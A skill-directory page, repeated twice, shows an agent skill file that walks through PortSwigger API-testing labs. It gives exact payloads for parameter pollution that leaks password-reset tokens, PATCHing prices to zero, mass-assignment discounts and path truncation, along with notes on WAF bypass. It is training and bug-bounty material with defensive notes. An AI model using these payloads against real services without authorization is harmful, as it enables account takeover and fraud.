api-testing-labs

Name: api-testing-labs
Author: ShulkwiSEC

18stars5forks

How to install api-testing-labs?

shulkwisec/bb-huge/api-testing-labs

$npx -y skills add ShulkwiSEC/bb-huge --skill api-testing-labs

Installs into the current project.

Summary

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

Files · 1

View on GitHub

SKILL.md

1	# API Testing — Deep Dive
2
3	> Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads,
4	> bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
5
6	## When to Use
7	- BSCP certification prep
8	- Real-world bug bounty hunting
9	- Building exploitation chains
10	- Understanding bypass techniques
11
12	## Prerequisites
13	- Burp Suite Professional
14	- Burp Collaborator / interactsh
15	- Browser with proxy configured
16
17
18	## Workflow
19	### Phase 1: Reconnaissance
20	- Identify input vectors, parameters, and application behavior.
21	### Phase 2: Exploitation
22	- Apply standard lab payloads.
23	### Phase 3: Zero-Day Escalation
24	- Fuzz filters, bypass WAFs, and chain with other vulns.
25
26	## Lab Playbooks
27
28	### Lab 1: Exploiting documentation 🟢 APPRENTICE
29	Find `/api` docs endpoint → discover `/api/user/carlos` DELETE endpoint → delete user.
30	---
31
32	### Lab 2: Server-side param pollution query 🟡 PRACTITIONER
33	```http
34	POST /forgot-password HTTP/1.1
35
36	username=administrator%26field=reset_token
37	```
38	`%26` = `&` → injects additional parameter into server-side API call → leaks reset token.
39	---
40
41	### Lab 3: Unused API endpoint 🟡 PRACTITIONER
42	Change `GET /api/products/1/price` to `PATCH` method:
43	```json
44	{"price":0}
45	```
46	→ Buy product for $0.
47	---
48
49	### Lab 4: Mass assignment 🟡 PRACTITIONER
50	```json
51	{"chosen_discount":{"percentage":100}}
52	```
53	Include discount object in checkout request → 100% discount applied.
54	---
55
56	### Lab 5: Param pollution REST URL 🟡 PRACTITIONER
57	```
58	username=administrator#
59	```
60	Server constructs: `/api/users/administrator#/field` → `#` truncates path → returns full user object with token.
61	---
62
63
64	## Blue Team Detection
65	- Monitor access logs for anomalous payloads.
66	- Implement strict input validation and parameterized queries where applicable.
67	- Create WAF rules masking generic attack patterns.
68
69	## Zero-Day Research
70	When standard technique fails:
71	1. Identify the filter/WAF
72	2. Fuzz with Burp Intruder custom wordlists
73	3. Search GitHub/Twitter for new bypasses
74	4. Chain with other vulns for escalation
75	5. Try encoding variants: URL, double-URL, unicode, hex
76
77
78	## Key Concepts
79	\| Concept \| Description \|
80	\|---------\|-------------\|
81	\| PortSwigger Vectors \| Standardized approaches to vulnerability classes. \|
82	\| Payload Encoding \| Modifying payloads to bypass basic string matching WAFs. \|
83
84
85	## Output Format
86	```
87	Vulnerability Deep-Dive Report
88	==============================
89	Target Vector: [Endpoint]
90	Bypass Technique: [Explanation of bypass]
91	Payload Used: [Payload]
92	Impact Explanation: [Impact]
93	```
94
95	## 🔵 Blue Team
96	- Deploy robust WAF rules to detect anomalies.
97	- Monitor logs for unusual access patterns.
98
99	## 🛡️ Remediation & Mitigation Strategy
100	- Input Validation: Sanitize and strictly type-check all inputs.
101	- Least Privilege: Constrain component execution bounds.
102
103
104	## 📚 Shared Resources
105	> For cross-cutting methodology applicable to all vulnerability classes, see:
106	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
107	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
108	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
109
110	## References
111	- [PortSwigger Labs](https://portswigger.net/web-security/all-labs)
112	- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
113	- [HackTricks](https://book.hacktricks.xyz/)

People who liked this also viewed

6 picks

Type

tddSkills for Real Engineers. Straight from my .agents directory.SkillsJul 2026501k181k
test-driven-developmentUse when implementing any feature or bugfix, before writing implementation codeSkillsJul 2026175k259k
qaSkills for Real Engineers. Straight from my .agents directory.SkillsJul 2026160k181k
verification-before-completionUse when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidenceSkillsJul 2026153k259k
webapp-testingToolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser lSkillsJul 2026120k163k
playwright-best-practicesUse when writing Playwright tests, fixing flaky tests, debugging failures, implementing Page Object Model, configuring CI/CD, optimizing performance, mocking APIs, handling authentication or OAuth, teSkillsJul 202664k338

api-testing-labs

18stars5forks

View on GitHub

How to install api-testing-labs?

shulkwisec/bb-huge/api-testing-labs

$npx -y skills add ShulkwiSEC/bb-huge --skill api-testing-labs

Installs into the current project.

Summary

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

Files · 1

View on GitHub

SKILL.md

1	# API Testing — Deep Dive
2
3	> Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads,
4	> bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
5
6	## When to Use
7	- BSCP certification prep
8	- Real-world bug bounty hunting
9	- Building exploitation chains
10	- Understanding bypass techniques
11
12	## Prerequisites
13	- Burp Suite Professional
14	- Burp Collaborator / interactsh
15	- Browser with proxy configured
16
17
18	## Workflow
19	### Phase 1: Reconnaissance
20	- Identify input vectors, parameters, and application behavior.
21	### Phase 2: Exploitation
22	- Apply standard lab payloads.
23	### Phase 3: Zero-Day Escalation
24	- Fuzz filters, bypass WAFs, and chain with other vulns.
25
26	## Lab Playbooks
27
28	### Lab 1: Exploiting documentation 🟢 APPRENTICE
29	Find `/api` docs endpoint → discover `/api/user/carlos` DELETE endpoint → delete user.
30	---
31
32	### Lab 2: Server-side param pollution query 🟡 PRACTITIONER
33	```http
34	POST /forgot-password HTTP/1.1
35
36	username=administrator%26field=reset_token
37	```
38	`%26` = `&` → injects additional parameter into server-side API call → leaks reset token.
39	---
40
41	### Lab 3: Unused API endpoint 🟡 PRACTITIONER
42	Change `GET /api/products/1/price` to `PATCH` method:
43	```json
44	{"price":0}
45	```
46	→ Buy product for $0.
47	---
48
49	### Lab 4: Mass assignment 🟡 PRACTITIONER
50	```json
51	{"chosen_discount":{"percentage":100}}
52	```
53	Include discount object in checkout request → 100% discount applied.
54	---
55
56	### Lab 5: Param pollution REST URL 🟡 PRACTITIONER
57	```
58	username=administrator#
59	```
60	Server constructs: `/api/users/administrator#/field` → `#` truncates path → returns full user object with token.
61	---
62
63
64	## Blue Team Detection
65	- Monitor access logs for anomalous payloads.
66	- Implement strict input validation and parameterized queries where applicable.
67	- Create WAF rules masking generic attack patterns.
68
69	## Zero-Day Research
70	When standard technique fails:
71	1. Identify the filter/WAF
72	2. Fuzz with Burp Intruder custom wordlists
73	3. Search GitHub/Twitter for new bypasses
74	4. Chain with other vulns for escalation
75	5. Try encoding variants: URL, double-URL, unicode, hex
76
77
78	## Key Concepts
79	\| Concept \| Description \|
80	\|---------\|-------------\|
81	\| PortSwigger Vectors \| Standardized approaches to vulnerability classes. \|
82	\| Payload Encoding \| Modifying payloads to bypass basic string matching WAFs. \|
83
84
85	## Output Format
86	```
87	Vulnerability Deep-Dive Report
88	==============================
89	Target Vector: [Endpoint]
90	Bypass Technique: [Explanation of bypass]
91	Payload Used: [Payload]
92	Impact Explanation: [Impact]
93	```
94
95	## 🔵 Blue Team
96	- Deploy robust WAF rules to detect anomalies.
97	- Monitor logs for unusual access patterns.
98
99	## 🛡️ Remediation & Mitigation Strategy
100	- Input Validation: Sanitize and strictly type-check all inputs.
101	- Least Privilege: Constrain component execution bounds.
102
103
104	## 📚 Shared Resources
105	> For cross-cutting methodology applicable to all vulnerability classes, see:
106	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
107	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
108	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
109
110	## References
111	- [PortSwigger Labs](https://portswigger.net/web-security/all-labs)
112	- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
113	- [HackTricks](https://book.hacktricks.xyz/)

People who liked this also viewed

6 picks

Type